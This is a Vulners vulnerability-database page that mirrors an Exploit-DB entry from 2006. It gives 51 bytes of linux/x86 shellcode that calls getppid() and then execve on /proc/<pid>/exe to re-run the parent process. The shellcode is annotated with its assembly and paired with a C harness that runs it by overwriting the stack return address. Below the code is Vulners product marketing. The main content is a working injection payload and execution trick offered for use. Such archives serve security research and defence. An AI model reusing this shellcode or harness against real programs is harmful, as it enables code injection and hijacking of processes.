Lucene search
K

linux/x86 getppid + execve/proc/pid/exe 51 bytes

🗓️ 21 Jan 2006 00:00:00Reported by izikType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

linux/x86 getppid + execve/proc/pid/exe 51 bytes shellcod

Code
/*
 * (linux/x86) getppid() + execve("/proc/<pid>/exe", ["/proc/<pid>/exe", NULL]) - 51 bytes
 * - izik <[email protected]> 
 */

char shellcode[] = 

	"\x6a\x40"              // push $0x40 
	"\x58"                  // pop %eax 
	"\xcd\x80"              // int $0x80 

	//
	// <_convert>:
	//

	"\x4c"                  // dec %esp 
	"\x99"                  // cltd 
	"\x6a\x0a"              // push $0xa 
	"\x5b"                  // pop %ebx 
	"\xf7\xf3"              // div %ebx 
	"\x80\xc2\x30"          // add $0x30,%dl 
	"\x88\x14\x24"          // mov %dl,(%esp) 
	"\x85\xc0"              // test %eax,%eax 
	"\x75\xef"              // jnz _convert
	"\x99"                  // cltd 
	"\x5b"                  // pop %ebx 
	"\x52"                  // push %edx 
	"\x68\x2f\x65\x78\x65"  // push $0x6578652f 
	"\x53"                  // push %ebx 
	"\x68\x72\x6f\x63\x2f"  // push $0x2f636f72 
	"\x68\x2f\x2f\x2f\x70"  // push $0x702f2f2f 
	"\xb0\x0b"              // mov $0xb,%al 
	"\x89\xe3"              // mov %esp,%ebx 
	"\x52"                  // push %edx 
	"\x53"                  // push %ebx 
	"\x89\xe1"              // mov %esp,%ecx 
	"\xcd\x80";             // int $0x80 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// milw0rm.com [2006-01-21]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Jan 2006 00:00Current
7.4High risk
Vulners AI Score7.4
30